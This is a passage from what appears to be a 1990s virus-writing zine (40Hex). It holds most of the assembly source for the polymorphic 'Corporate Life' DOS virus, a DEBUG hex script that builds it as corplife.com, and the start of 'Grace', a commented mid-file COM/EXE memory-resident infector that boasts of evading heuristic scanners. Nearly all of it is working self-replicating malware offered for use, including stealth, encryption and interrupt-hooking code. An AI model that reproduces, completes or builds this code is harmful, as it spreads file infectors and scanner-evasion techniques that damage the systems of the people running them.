jne ExitCheck
|
||
CheckIfInfected:
|
||
cmp word ptr es:[bx+19h],0c800
|
||
ja SubVirSize
|
||
RandomChanceOfInfect:
|
||
call RandomChance
|
||
jc SubVirSize
|
||
|
||
SetupInfectFile:
|
||
push es bx
|
||
push cs
|
||
pop es
|
||
mov di,offset FCB1
|
||
mov cx,EndFCB1-FCB1
|
||
xor ax,ax
|
||
push di
|
||
repnz stosb
|
||
pop di
|
||
pop si ds
|
||
mov cx,12d
|
||
repnz movsb
|
||
OpenFileFCB:
|
||
mov ah,0f
|
||
push cs
|
||
pop ds
|
||
mov dx,offset FCB1
|
||
call FakeInt21
|
||
inc al
|
||
jz SubVirSize ;Error Occured
|
||
|
||
push es bx
|
||
call InfectFileFCB
|
||
pop bx es
|
||
|
||
CloseFileFCB:
|
||
mov ah,10
|
||
mov dx,offset FCB1
|
||
call FakeInt21
|
||
SubVirSize:
|
||
cmp word ptr es:[bx+19],0c800
|
||
jb AfterDirStealth
|
||
sub word ptr es:[bx+19],0c800
|
||
|
||
push bx
|
||
mov ah,62
|
||
call FakeInt21
|
||
mov ax,cs
|
||
cmp bx,ax
|
||
pop bx
|
||
ja AfterDirStealth
|
||
sub word ptr es:[bx+1dh],(end_main-start+40)
|
||
sbb word ptr es:[bx+1f],0
|
||
|
||
AfterDirStealth:
|
||
ExitCheck:
|
||
pop dx ds
|
||
mov ah,1a
|
||
call fakeint21
|
||
call ResetCritical
|
||
pop di si ds es dx cx bx ax
|
||
ExitFind:
|
||
retf 2
|
||
|
||
|
||
db 0ea
|
||
FakeInt21:
|
||
pushf
|
||
call dword ptr cs:[IP21]
|
||
ret
|
||
|
||
db 09a
|
||
BadFile:
|
||
jmp ExitInfFCB
|
||
|
||
db 0ea
|
||
InfectFileFCB:
|
||
push word ptr [FCBTime]
|
||
push word ptr [FCBDate]
|
||
|
||
push word ptr [FCBFSize]
|
||
push word ptr [FCBFSize+2]
|
||
pop word ptr [OrgSize+2]
|
||
pop word ptr [OrgSize]
|
||
|
||
call CheckHeader
|
||
jc InfectionCheck
|
||
call SaveValues
|
||
call ResetHeader
|
||
call PAdEndOfFile
|
||
jmp ModTimeInfected
|
||
|
||
InfectionCheck:
|
||
jc ExitInfFCB ;was infection successful?
|
||
|
||
ModTimeInfected:
|
||
pop ax
|
||
add ax,0c800
|
||
push ax
|
||
|
||
ExitInfFCB:
|
||
pop word ptr cs:[FCBDate]
|
||
pop word ptr cs:[FCBTime]
|
||
ret
|
||
|
||
|
||
PadEndOfFile:
|
||
mov ax,word ptr [OrgSize]
|
||
mov dx,word ptr [OrgSize+2]
|
||
add ax,(end_main-start+40)
|
||
adc dx,0
|
||
mov word ptr [FCBFSize],ax
|
||
mov word ptr [FCBFSize+2],dx
|
||
ret
|
||
|
||
RandomChance:
|
||
push ax ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:[46c]
|
||
shr ax,1
|
||
pop ds ax
|
||
ret
|
||
|
||
|
||
|
||
|
||
ResetHEader:
|
||
mov ax,word ptr [FCBFsize]
|
||
mov dx,word ptr [FCBFsize+2]
|
||
and ax,1ff
|
||
mov word ptr [EXEHeader+2],ax
|
||
mov ax,word ptr [FCBFsize]
|
||
jz NoCarry
|
||
add ax,1ff
|
||
NoCarry:
|
||
mov cl,9
|
||
shr ax,cl
|
||
mov cl,7
|
||
shl dx,cl
|
||
add dx,ax
|
||
mov word ptr [EXEHeader+4],dx
|
||
add word ptr [exeheader+0a],(end_main-start+1f)/10
|
||
|
||
mov ah,1a
|
||
mov dx,offset EXEHeader
|
||
call fakeint21
|
||
|
||
mov dx,offset FCB1
|
||
|
||
mov byte ptr [FCBCurRec],0
|
||
mov word ptr [FCBBlock],0
|
||
mov word ptr [FCBRecSize],40
|
||
mov ah,15
|
||
call fakeInt21
|
||
ret
|
||
|
||
CheckHEader:
|
||
mov word ptr [FCBRecSize],40
|
||
mov ah,1a
|
||
mov dx,offset EXEHeader
|
||
call fakeInt21 ;Set DTA for read
|
||
|
||
mov ah,14
|
||
mov dx,offset FCB1 ;read EXEheader
|
||
call fakeInt21
|
||
|
||
mov ax,word ptr [EXEHeader]
|
||
add ah,al
|
||
xor ah,('Z'+'M')
|
||
jnz BadHeader
|
||
cmp word ptr [EXEHeader+1a],0
|
||
jnz BadHEader
|
||
cmp word ptr [EXEHeader+18],40
|
||
jae BadHeader
|
||
cmp word ptr [FCBFSize+2],4
|
||
ja BadHeader
|
||
|
||
clc
|
||
ret
|
||
BadHeader:
|
||
stc
|
||
ret
|
||
|
||
|
||
SaveValues:
|
||
push word ptr [EXEHeader+0e]
|
||
mov ax,word ptr [FCBFsize]
|
||
push word ptr [EXEHeader+10]
|
||
mov dx,word ptr [FCBFsize+2]
|
||
push word ptr [EXEHEader+14]
|
||
mov cl,4
|
||
mov bx,word ptr [EXEHeader+08]
|
||
shl bx,cl
|
||
sub ax,bx
|
||
sbb dx,0
|
||
push word ptr [EXEHEader+16]
|
||
shr ax,cl
|
||
pop word ptr [HostCS]
|
||
adc ax,0
|
||
pop word ptr [HostIP]
|
||
mov bx,ax
|
||
pop word ptr [HostSP]
|
||
shl ax,cl
|
||
pop word ptr [HostSS]
|
||
adc dx,0
|
||
mov cl,0c
|
||
shl dx,cl
|
||
add bx,dx
|
||
sub bx,0f
|
||
mov word ptr [EXEHeader+16],bx
|
||
mov word ptr [EXEHeader+14],100
|
||
add bx,0f0
|
||
mov word ptr [EXEHeader+0e],bx
|
||
mov word ptr [EXEHeader+10],2fe
|
||
|
||
|
||
mov ax,word ptr [FCBFsize]
|
||
mov dx,word ptr [FCBFsize+2]
|
||
mov cl,4
|
||
shr ax,cl
|
||
adc ax,0
|
||
|
||
mov ch,dl
|
||
mov cl,4
|
||
shr dx,cl
|
||
shl ch,cl
|
||
add ah,ch
|
||
adc dx,0
|
||
|
||
inc ax
|
||
adc dx,0
|
||
mov word ptr [FCBRanRec],ax
|
||
mov word ptr [FCBRanRec+2],dx
|
||
mov word ptr [FCBRecSize],10
|
||
|
||
push cx bx dx si di
|
||
call Mutate
|
||
pop di si dx bx cx
|
||
|
||
mov dx,offset DecryptBuffer
|
||
|
||
AppendLoop:
|
||
mov ah,1a
|
||
call fakeint21
|
||
push dx
|
||
mov ah,22
|
||
mov dx,offset FCB1
|
||
call fakeint21
|
||
pop dx
|
||
call updateRecAndDX
|
||
cmp dx,offset end_prog
|
||
jb AppendLoop
|
||
ret
|
||
|
||
|
||
UpdateRecAndDX:
|
||
add dx,10
|
||
add word ptr [FCBRanRec],1
|
||
adc word ptr [FCBRanRec+2],0
|
||
ret
|
||
|
||
|
||
SetCritical:
|
||
push ax ds
|
||
mov ax,9
|
||
mov ds,ax
|
||
push word ptr ds:[0]
|
||
push word ptr ds:[2]
|
||
pop word ptr cs:[OldCritical+2]
|
||
pop word ptr cs:[OldCritical]
|
||
mov word ptr ds:[0],offset CriticalError
|
||
push cs
|
||
pop word ptr ds:[02]
|
||
pop ds ax
|
||
ret
|
||
|
||
ResetCritical:
|
||
push ax ds
|
||
push word ptr cs:[OldCritical]
|
||
mov ax,9
|
||
push word ptr cs:[OldCritical+2]
|
||
mov ds,ax
|
||
pop word ptr ds:[2]
|
||
pop word ptr ds:[0]
|
||
pop ds ax
|
||
ret
|
||
|
||
|
||
CriticalError:
|
||
mov al,3
|
||
iret
|
||
|
||
OldCritical dd 0
|
||
HostMem dw 0
|
||
Credits:
|
||
db '$B -=[$$$ Corporate Life $$$]=- P$'
|
||
EndCredits:
|
||
|
||
OrgSize dd 0
|
||
FCB1:
|
||
FCBDrive db 0
|
||
FCBFName db 8 dup(0)
|
||
FCBExt db 3 dup(0)
|
||
FCBBlock dw 0
|
||
FCBRecSize dw 0
|
||
FCBFSize dd 0
|
||
FCBDate dw 0
|
||
FCBTime dw 0
|
||
FCBReserved db 8 dup(0)
|
||
FCBCurRec db 0
|
||
FCBRanRec dd 0
|
||
EndFCB1:
|
||
EXEHeader db 40 dup(0)
|
||
|
||
;-----------------]> Activation routine - talks if sound blaster speech drv'r
|
||
ActivateSoundBlaster:
|
||
CheckIfSBSpeechEnabled:
|
||
push ax bx es ds si di
|
||
xor ax,ax
|
||
mov es,ax
|
||
mov ax,0fbfbh
|
||
int 2f
|
||
mov ax,es
|
||
or ax,ax
|
||
jz notinstalled
|
||
cmp word ptr es:[bx],'BF'
|
||
jne notinstalled
|
||
SayFuckCorporateLife:
|
||
mov ax,0707
|
||
mov si,offset speechbuf
|
||
mov di,20
|
||
add di,bx
|
||
mov cx,(endmess-speechbuf)
|
||
push cs
|
||
pop ds
|
||
repnz movsb
|
||
call dword ptr es:[bx+4]
|
||
NotInstalled:
|
||
pop di si ds es bx ax
|
||
ret
|
||
|
||
speechbuf:
|
||
db (endmess-message)
|
||
message db 'Fuck Corporat Life.',0a,0dh
|
||
endmess:
|
||
;-----------------]> Simple friggin' mutation engine, but quite small....
|
||
Mutate:
|
||
push cs cs
|
||
pop es ds
|
||
mov cx,(end_main-EXE_Entry)
|
||
call InitRand
|
||
SetupCounter:
|
||
mov word ptr [SetCounter+1],cx
|
||
PreProcessCode:
|
||
mov di,offset NewCodeBuffer
|
||
mov si,offset EXE_Entry
|
||
repnz movsb
|
||
|
||
SelectCounterAndPointer:
|
||
call GetRand
|
||
and ax,707
|
||
cmp al,4
|
||
je SelectCounterAndPointer
|
||
cmp ah,3
|
||
je RegsValid
|
||
cmp ah,6
|
||
je RegsValid
|
||
cmp ah,7
|
||
je RegsValid
|
||
jmp short SelectCounterAndPointer
|
||
RegsValid:
|
||
cmp ah,al
|
||
je SelectCounterAndPointer
|
||
FindAddressingReg:
|
||
push ax
|
||
cmp ah,3
|
||
jne Is_SI_or_DI
|
||
xor ah,4
|
||
jmp GotAddrReg
|
||
Is_SI_Or_DI:
|
||
xor ah,2
|
||
GotAddrReg:
|
||
mov dh,ah ;DH now holds addressing reg value
|
||
GetRandomXorKey:
|
||
call GetRand
|
||
mov byte ptr [XorByte+2],al
|
||
pop ax
|
||
SetNewRegs:
|
||
and byte ptr [XorByte+1],11111000b
|
||
and byte ptr [SetCounter],11111000b
|
||
and byte ptr [DecCounter],11111000b
|
||
and byte ptr [SetPointer],11111000b
|
||
and byte ptr [IncPointer],11111000b
|
||
or byte ptr [SetCounter],al
|
||
or byte ptr [DecCounter],al
|
||
or byte ptr [SetPointer],ah
|
||
or byte ptr [IncPointer],ah
|
||
or byte ptr [Xorbyte+1],dh
|
||
mov dx,ax
|
||
SetupDummy:
|
||
call GetRand
|
||
and ax,707
|
||
cmp al,4
|
||
je SetupDummy
|
||
cmp al,dh
|
||
je SetupDummy
|
||
cmp al,dl
|
||
je SetupDummy
|
||
mov ah,al
|
||
and word ptr [OneByte],1111100011111000b
|
||
or word ptr [Onebyte],ax
|
||
EncryptCode:
|
||
mov word ptr [SetPointer+1],offset NewCodeBuffer
|
||
call SetCounter
|
||
mov word ptr [SetPointer+1],offset EXE_Entry
|
||
SetupDecrypt:
|
||
mov si,offset EncryptionPrototype
|
||
mov di,offset DecryptBuffer
|
||
call MakeOneBytes
|
||
call OneByteInst
|
||
call OneByteInst
|
||
call OneByteInst
|
||
call ThreeByteInst
|
||
call ThreeByteInst
|
||
mov bx,di
|
||
call ThreeByteInst
|
||
call OneByteInst
|
||
movsw
|
||
mov ax,di
|
||
sub ax,bx
|
||
not al
|
||
stosb
|
||
FillBuffer:
|
||
mov cx,offset NewCodeBuffer
|
||
sub cx,di
|
||
call MakeAByte
|
||
ret
|
||
|
||
ThreeByteInst:
|
||
movsw
|
||
OneByteInst:
|
||
movsb
|
||
call MakeOneBytes
|
||
ret
|
||
|
||
MakeOneBytes:
|
||
push bx cx
|
||
call GetRand
|
||
and ax,3
|
||
inc ax
|
||
mov cx,ax
|
||
call MakeAByte
|
||
pop cx bx
|
||
ret
|
||
|
||
MakeAByte:
|
||
call GetRand
|
||
and ax,3
|
||
mov bx,ax
|
||
add bx,offset OneByte
|
||
mov al,byte ptr [bx]
|
||
stosb
|
||
loop MakeAByte
|
||
ret
|
||
|
||
InitRand:
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,word ptr ds:[46c]
|
||
pop ds
|
||
mov word ptr cs:[RandKey],ax
|
||
ret
|
||
|
||
GetRand:
|
||
push cx dx
|
||
mov ax,word ptr cs:[RandKey]
|
||
mov cx,4791
|
||
mul cx
|
||
mov cx,dx
|
||
ror ax,cl
|
||
add ax,9174
|
||
mov word ptr cs:[Randkey],ax
|
||
pop dx cx
|
||
ret
|
||
|
||
RandKey dw 0
|
||
|
||
EncryptionPrototype:
|
||
SaveSeg:
|
||
push es
|
||
SetCurSeg:
|
||
push cs
|
||
pop ds
|
||
SetCounter:
|
||
mov bx,0ffff
|
||
SetPointer:
|
||
mov si,0ffff
|
||
XorByte:
|
||
xor byte ptr [si],0ff
|
||
IncPointer:
|
||
inc si
|
||
DecCounter:
|
||
dec bx
|
||
LoopMod:
|
||
jnz XorByte
|
||
ExitPrototype:
|
||
ret
|
||
|
||
DummyInstructions:
|
||
OneByte:
|
||
inc cx
|
||
dec cx
|
||
nop
|
||
sti
|
||
end_mut:
|
||
end_main:
|
||
DecryptBuffer db 30 dup(?)
|
||
NewCodeBuffer db (end_main-EXE_Entry) dup (?)
|
||
end_prog:
|
||
end start
|
||
;----------------------- end corplife.asm ---------------------------------
|
||
N corplife.com
|
||
E 0100 06 0E 1F 90 90 90 90 90 90 90 90 90 90 90 90 90
|
||
E 0110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
|
||
E 0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
|
||
E 0130 EB 01 9A 2E D1 0E 3C 02 EB 01 EA 2E FF 36 4E 01
|
||
E 0140 B8 15 FF 50 8B EC F7 56 00 2E 8F 06 4E 01 2E 8F
|
||
E 0150 06 4E 01 E8 F7 00 B8 01 30 CD 21 3C 06 77 07 3C
|
||
E 0160 03 72 03 EB 05 EA E9 A4 00 FF BA FE 05 B8 BA A6
|
||
E 0170 92 0E F7 D0 F7 D2 CD 16 1F B4 09 BA 2F 06 CD 21
|
||
E 0180 73 03 E9 88 00 33 C0 1E 50 1F FF 36 84 00 FF 36
|
||
E 0190 14 00 FF 36 86 00 FF 36 16 00 8F 06 0E 00 2E 8F
|
||
E 01A0 06 4B 02 8F 06 0C 00 2E 8F 06 49 02 1F 06 B4 4A
|
||
E 01B0 BB FF FF E8 8C 00 83 EB 76 B4 4A E8 84 00 BB 75
|
||
E 01C0 00 B4 48 E8 7C 00 2D 10 00 8E C0 BF 00 01 8B F7
|
||
E 01D0 B9 49 07 F2 A4 1E 8E D9 FF 36 88 00 FF 36 8A 00
|
||
E 01E0 C7 06 88 00 92 02 8C 06 8A 00 C7 06 06 00 F0 FF
|
||
E 01F0 C7 06 04 00 00 00 58 5B 1F 26 89 1E 46 03 26 A3
|
||
E 0200 48 03 1F C7 06 0A 00 92 02 8C 06 0C 00 07 06 1F
|
||
E 0210 8C C0 05 10 00 2E 01 06 3C 02 2E 03 06 3E 02 FA
|
||
E 0220 8E D0 2E 8B 26 40 02 33 C0 33 DB 33 C9 33 D2 33
|
||
E 0230 FF BE 00 01 FB 2E FF 2E 3A 02 00 00 F0 FF F0 FF
|
||
E 0240 FE FF 9C 2E FF 1E 49 02 C3 00 00 00 00 B9 11 00
|
||
E 0250 E8 02 00 C3 81 EB 11 FF 49 58 5B 5A 74 03 E8 F4
|
||
E 0260 FF 2E D1 06 3C 02 C3 CD 8B EC 1E 8C CB 50 C7 46
|
||
E 0270 FC 00 00 1F C7 06 0C 00 58 02 89 1E 0E 00 1F CC
|
||
E 0280 E2 FE 8E D9 FF 36 6C 04 FF 36 6C 04 FF 36 6E 04
|
||
E 0290 CF 83 B4 52 E8 AB FF 26 8E 47 FE 8C C3 26 A1 03
|
||
E 02A0 00 8C C1 03 C1 40 8E C0 26 A1 03 00 3D EE 00 72
|
||
E 02B0 0A 26 83 3E 01 00 00 74 28 EB 0A 26 83 3E 01 00
|
||
E 02C0 00 75 02 EB 02 8C C3 8C C1 03 C1 40 3D 00 F0 74
|
||
E 02D0 0D 26 80 3E 00 00 4D 75 05 8E C0 EB CB 81 EB 65
|
||
E 02E0 EA 8C C2 8E C3 43 26 03 1E 03 00 53 8C C0 26 FF
|
||
E 02F0 36 01 00 06 40 26 8B 1E 03 00 2E A3 2D 06 8E C0
|
||
E 0300 B4 4A 81 C3 ED 00 E8 39 FF 72 B0 07 26 8F 06 01
|
||
E 0310 00 58 2D 10 00 8E C0 BF 00 01 8B F7 0E 1F B9 92
|
||
E 0320 0E F2 A4 41 8E D9 FF 36 74 00 FF 36 76 00 C7 06
|
||
E 0330 74 00 4B 03 8C 06 76 00 26 8F 06 73 03 26 8F 06
|
||
E 0340 71 03 E8 75 03 EA 00 00 00 00 FF 80 FC 09 75 0F
|
||
E 0350 87 D3 81 3F 24 42 87 D3 75 16 F9 CA 02 00 88 50
|
||
E 0360 80 F4 11 74 20 80 F4 03 74 1B 80 F4 5B 74 07 58
|
||
E 0370 EA 00 00 00 00 EA 8C C0 2E 3B 06 2D 06 58 75 F0
|
||
E 0380 CF EA E9 AB 00 58 E8 AB 00 0A C0 75 F5 50 53 51
|
||
E 0390 52 06 1E 56 57 E8 4B 02 B4 2F E8 97 00 06 53 26
|
||
E 03A0 80 3F FF 75 79 83 C3 07 26 81 7F 09 45 58 75 6E
|
||
E 03B0 26 80 7F 0B 45 75 67 26 81 7F 19 00 C8 77 39 E8
|
||
E 03C0 CC 00 72 34 06 53 0E 07 BF 55 06 B9 25 00 33 C0
|
||
E 03D0 57 F2 AA 5F 5E 1F B9 0C 00 F2 A4 B4 0F 0E 1F BA
|
||
E 03E0 55 06 E8 4F 00 FE C0 74 0F 06 53 E8 51 00 5B 07
|
||
E 03F0 B4 10 BA 55 06 E8 3C 00 26 81 7F 19 00 C8 72 1E
|
||
E 0400 26 81 6F 19 00 C8 53 B4 62 E8 28 00 8C C8 3B D8
|
||
E 0410 5B 77 0B 26 81 6F 1D 89 07 26 83 5F 1F 00 5A 1F
|
||
E 0420 B4 1A E8 0F 00 E8 E2 01 5F 5E 1F 07 5A 59 5B 58
|
||
E 0430 CA 02 00 EA 9C 2E FF 1E 71 03 C3 9A EB 30 EA FF
|
||
E 0440 36 6B 06 FF 36 69 06 FF 36 65 06 FF 36 67 06 8F
|
||
E 0450 06 53 06 8F 06 51 06 E8 8C 00 72 0B E8 C0 00 E8
|
||
E 0460 3A 00 E8 14 00 EB 02 72 05 58 05 00 C8 50 2E 8F
|
||
E 0470 06 69 06 2E 8F 06 6B 06 C3 A1 51 06 8B 16 53 06
|
||
E 0480 05 89 07 83 D2 00 A3 65 06 89 16 67 06 C3 50 1E
|
||
E 0490 33 C0 8E D8 A1 6C 04 D1 E8 1F 58 C3 A1 65 06 8B
|
||
E 04A0 16 67 06 25 FF 01 A3 7C 06 A1 65 06 74 03 05 FF
|
||
E 04B0 01 B1 09 D3 E8 B1 07 D3 E2 03 D0 89 16 7E 06 83
|
||
E 04C0 06 84 06 76 B4 1A BA 7A 06 E8 68 FF BA 55 06 C6
|
||
E 04D0 06 75 06 00 C7 06 61 06 00 00 C7 06 63 06 40 00
|
||
E 04E0 B4 15 E8 4F FF C3 C7 06 63 06 40 00 B4 1A BA 7A
|
||
E 04F0 06 E8 40 FF B4 14 BA 55 06 E8 38 FF A1 7A 06 02
|
||
E 0500 E0 80 F4 A7 75 17 83 3E 94 06 00 75 10 83 3E 92
|
||
E 0510 06 40 73 09 83 3E 67 06 04 77 02 F8 C3 F9 C3 FF
|
||
E 0520 36 88 06 A1 65 06 FF 36 8A 06 8B 16 67 06 FF 36
|
||
E 0530 8E 06 B1 04 8B 1E 82 06 D3 E3 2B C3 83 DA 00 FF
|
||
E 0540 36 90 06 D3 E8 8F 06 3C 02 15 00 00 8F 06 3A 02
|
||
E 0550 8B D8 8F 06 40 02 D3 E0 8F 06 3E 02 83 D2 00 B1
|
||
E 0560 0C D3 E2 03 DA 83 EB 0F 89 1E 90 06 C7 06 8E 06
|
||
E 0570 00 01 81 C3 F0 00 89 1E 88 06 C7 06 8A 06 FE 02
|
||
E 0580 A1 65 06 8B 16 67 06 B1 04 D3 E8 15 00 00 8A EA
|
||
E 0590 B1 04 D3 EA D2 E5 02 E5 83 D2 00 40 83 D2 00 A3
|
||
E 05A0 76 06 89 16 78 06 C7 06 63 06 10 00 51 53 52 56
|
||
E 05B0 57 E8 55 01 5F 5E 5A 5B 59 BA 49 08 B4 1A E8 73
|
||
E 05C0 FE 52 B4 22 BA 55 06 E8 6A FE 5A E8 07 00 81 FA
|
||
E 05D0 92 0F 72 E8 C3 83 C2 10 83 06 76 06 01 83 16 78
|
||
E 05E0 06 00 C3 50 1E B8 09 00 8E D8 FF 36 00 00 FF 36
|
||
E 05F0 02 00 2E 8F 06 2B 06 2E 8F 06 29 06 C7 06 00 00
|
||
E 0600 26 06 0E 8F 06 02 00 1F 58 C3 50 1E 2E FF 36 29
|
||
E 0610 06 B8 09 00 2E FF 36 2B 06 8E D8 8F 06 02 00 8F
|
||
E 0620 06 00 00 1F 58 C3 B0 03 CF 00 00 00 00 00 00 24
|
||
E 0630 42 20 2D 3D 5B 24 24 24 20 43 6F 72 70 6F 72 61
|
||
E 0640 74 65 20 4C 69 66 65 20 24 24 24 5D 3D 2D 20 50
|
||
E 0650 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 06B0 00 00 00 00 00 00 00 00 00 00 50 53 06 1E 56 57
|
||
E 06C0 33 C0 8E C0 B8 FB FB CD 2F 8C C0 0B C0 74 1D 26
|
||
E 06D0 81 3F 46 42 75 16 B8 07 07 BE F3 06 BF 20 00 03
|
||
E 06E0 FB B9 16 00 0E 1F F2 A4 26 FF 5F 04 5F 5E 1F 07
|
||
E 06F0 5B 58 C3 15 46 75 63 6B 20 43 6F 72 70 6F 72 61
|
||
E 0700 74 20 4C 69 66 65 2E 0A 0D 0E 0E 07 1F B9 19 07
|
||
E 0710 E8 F8 00 89 0E 38 08 BF 79 08 BE 30 01 F2 A4 E8
|
||
E 0720 F7 00 25 07 07 3C 04 74 F6 80 FC 03 74 0C 80 FC
|
||
E 0730 06 74 07 80 FC 07 74 02 EB E5 3A E0 74 E1 50 80
|
||
E 0740 FC 03 75 05 80 F4 04 EB 03 80 F4 02 8A F4 E8 C8
|
||
E 0750 00 A2 3F 08 58 80 26 3E 08 F8 80 26 37 08 F8 80
|
||
E 0760 26 41 08 F8 80 26 3A 08 F8 80 26 40 08 F8 08 06
|
||
E 0770 37 08 08 06 41 08 08 26 3A 08 08 26 40 08 08 36
|
||
E 0780 3E 08 8B D0 E8 92 00 25 07 07 3C 04 74 F6 3A C6
|
||
E 0790 74 F2 3A C2 74 EE 8A E0 81 26 45 08 F8 F8 09 06
|
||
E 07A0 45 08 C7 06 3B 08 79 08 E8 8C 00 C7 06 3B 08 30
|
||
E 07B0 01 BE 34 08 BF 49 08 E8 2E 00 E8 26 00 E8 23 00
|
||
E 07C0 E8 20 00 E8 1C 00 E8 19 00 8B DF E8 14 00 E8 12
|
||
E 07D0 00 A5 8B C7 2B C3 F6 D0 AA B9 79 08 2B CF E8 18
|
||
E 07E0 00 C3 A5 A4 E8 01 00 C3 53 51 E8 2C 00 25 03 00
|
||
E 07F0 40 8B C8 E8 03 00 59 5B C3 E8 1D 00 25 03 00 8B
|
||
E 0800 D8 81 C3 45 08 8A 07 AA E2 EF C3 1E 33 C0 8E D8
|
||
E 0810 A1 6C 04 1F 2E A3 32 08 C3 51 52 2E A1 32 08 B9
|
||
E 0820 91 47 F7 E1 8B CA D3 C8 05 74 91 2E A3 32 08 5A
|
||
E 0830 59 C3 00 00 06 0E 1F BB FF FF BE FF FF 80 34 FF
|
||
E 0840 46 4B 75 F9 C3 41 49 90 FB
|
||
R CX
|
||
0749
|
||
W
|
||
Q
|
||
40Hex Number 14 Volume 5 Issue 1 File 009
|
||
|
||
;==============================================================================
|
||
;
|
||
; Grace
|
||
;
|
||
; Mid-file COM/EXE TSR infector, 1294 bytes
|
||
;
|
||
; This virus employs a brand new infection mechanism such that virus
|
||
; scanners which only check the entry points will fail. ie. heuristics
|
||
; are (so far) worthless against this virus. However this opens the virus
|
||
; up to signature scanning vulnerability because the entry point code
|
||
; is fixed and very specific. The next version of this virus will feature
|
||
; a general architectural reconstruction, multiple-block displacement
|
||
; and also polymorphism, so keep your eyes peeled for that one.
|
||
;
|
||
; I know there has been another virus which has done mid-file infection
|
||
; (Commander Bomber) but that uses a different method which achieves
|
||
; a similar result (ie, infection in the middle of the host). However
|
||
; the implementation illustrated in this virus is a more simple
|
||
; rendition of the idea, it simply has a 'wrapper' which relocates blocks
|
||
; etc. into the appropriate positions before the virus proper gains
|
||
; control. Cmdr Bomber, on the other hand, inserts multiple polymorphic
|
||
; jumps, but only infects .com files.
|
||
;
|
||
; This code is getting on (about 8 months) and has a few drawbacks. It
|
||
; just took too much stuffing around writing it that I didn't want to
|
||
; change it! :> .. for example the abovementioned susceptibility to sig
|
||
; scanning.. also the relocation of the entire header information to the
|
||
; end of the exe file (lame..) which requires heaps more memory than the
|
||
; average virus and suspicious extra disk accesses. Also, it was written
|
||
; to be compiled with a86 [1988] so the stuff at the end I had to count up
|
||
; manually. So I don't use TASM, and dont do my tabs right.. that's my
|
||
; problem. :> ..If I'd known how much mucking around this virus would
|
||
; have taken to write before I'd written it, I wouldn't have bothered.
|
||
; But I didn't, so I did, and here's the final product. It works! ;)
|
||
;
|
||
; There's a lot of commenting on this thing (left over from a tutorial I
|
||
; did for someone) so it's not *too* difficult to understand if you are
|
||
; taking a stroll through the code.. it's also pretty modular and some parts
|
||
; have just been fitted in without much optimization (eg the filename
|
||
; and extension checking routine could have been redone because there's only
|
||
; 2 allowable extensions).
|
||
;
|
||
; Apart from residing around the middle of the host it's pretty much just
|
||
; your standard virus.. it infects COM/EXE files on open, attrib, exec,
|
||
; move, and extended open.. also on program termination via function 4ch
|
||
; there's a chance the happy message "Have a nice DOS!" or "Have a nice
|
||
; piss-up!" will appear after blanking the screen. I personally hate
|
||
; programs which think they're being humourous with this little number, so
|
||
; there you go.. have fun.
|
||
;
|
||
; -T<>L<EFBFBD>N 02/95-
|
||
;
|
||
;==============================================================================
|
||
;
|
||
; when you run it, run it with a debugger, at the entry point to the actual
|
||
; virus (ie not the relocation wrapper) needs PSP in BP, and virus offset
|
||
; in memory in DI .. ie 100h if you're executing the kernal. in other
|
||
; words, there's no way this virus can be 'accidentally' compiled and
|
||
; run, because it will crash unless you do the above step..
|
||
;
|
||
;------------------------------------------------------------------------------
|
||
;
|
||
; Some equates and stuff for use within the virus ..
|
||
;
|
||
|
||
org 0 ; will be assembled with start of 0
|
||
|
||
@JO equ 070h ; JO operand for variable branch
|
||
@JMPS equ 0ebh ; JMP SHORT
|
||
@tsrchk equ 6968h ; our tsr check
|
||
p_len equ 5120/16 ; amount of memory we take up
|
||
@marker equ 'PK' ; marker for infected file
|
||
load equ 1536 ; scratch area offset
|
||
vstack equ 1536 ; ceiling for our own stack .. = load
|
||
k_len equ 52 ; length of relocation code
|
||
ek_len equ 36 ; length of extra relocation code
|
||
s_len equ 48 ; length of temp EXE stack
|
||
|
||
;------------------------------------------------------------------------------
|
||
|
||
; assumes DI points to virus start
|
||
; ES = PSP
|
||
v_start: push di
|
||
mov cx, cs
|
||
mov ax, @tsrchk ; int 21h will return an error
|
||
int 21h ; unless our virus is already TSR
|
||
xor bx, ax ; is bx xor ax = 0 ?? (will be if TSR)
|
||
jz bail ; jump if zero to a bail routine
|
||
; otherwise install ourselves TSR.
|
||
|
||
mov ax, bp ; in segment PSP-1 is the MCB chain.
|
||
dec ax ; We will edit that to get us some
|
||
; memory to hide in.
|
||
|
||
memloop: mov ds, ax ; set data segment
|
||
cmp byte ptr [0], 'Z' ; is it the last block?
|
||
je fixmem
|
||
mov bx, ax ; keep segment of prev. block
|
||
add ax, word ptr [3] ; AX now equals seg of next MCB
|
||
inc ax
|
||
jmp short memloop ; and check it ..
|
||
|
||
fixmem: cmp word ptr [3], p_len*10 ; is block too small?
|
||
jae fm_ok
|
||
mov ds, bx ; yeah, use previous block
|
||
xchg ax, bx
|
||
fm_ok: sub word ptr [3], p_len ; steal the memory we need
|
||
add ax, word ptr [3] ; get its segment value
|
||
inc ax
|
||
mov word ptr [12h], ax ; and feed it to the PSP of
|
||
; the host program - otherwise
|
||
; command.com will crash
|
||
|
||
mov es, ax ; ES = destination segment for
|
||
push cs ; the move..
|
||
pop ds ; DS = source segment
|
||
xor di, di
|
||
push cx
|
||
mov cx, v_len ; # of bytes to move
|
||
cld ; forward direction...
|
||
rep movsb ; move CX bytes ds:si -> es:di
|
||
pop cx
|
||
gethi: push es ; push dest. seg on stack
|
||
mov ax, offset dms ; and the offset of where to go
|
||
push ax
|
||
retf ; and jump there.
|
||
|
||
dms: xor ax, ax
|
||
mov ds, ax
|
||
mov si, 21h*4 ; offset of int 21h vector
|
||
movsw ; mov word from DS:SI to ES:DI
|
||
movsw ; and again
|
||
sub si, 4
|
||
mov word ptr [si], offset new21 ; revector int 21h
|
||
mov word ptr [si+2], cs
|
||
|
||
; we have saved the old int 21h value so we can still jump to it, and we have
|
||
; put our offset and segment in its place -- so every time an int 21h call
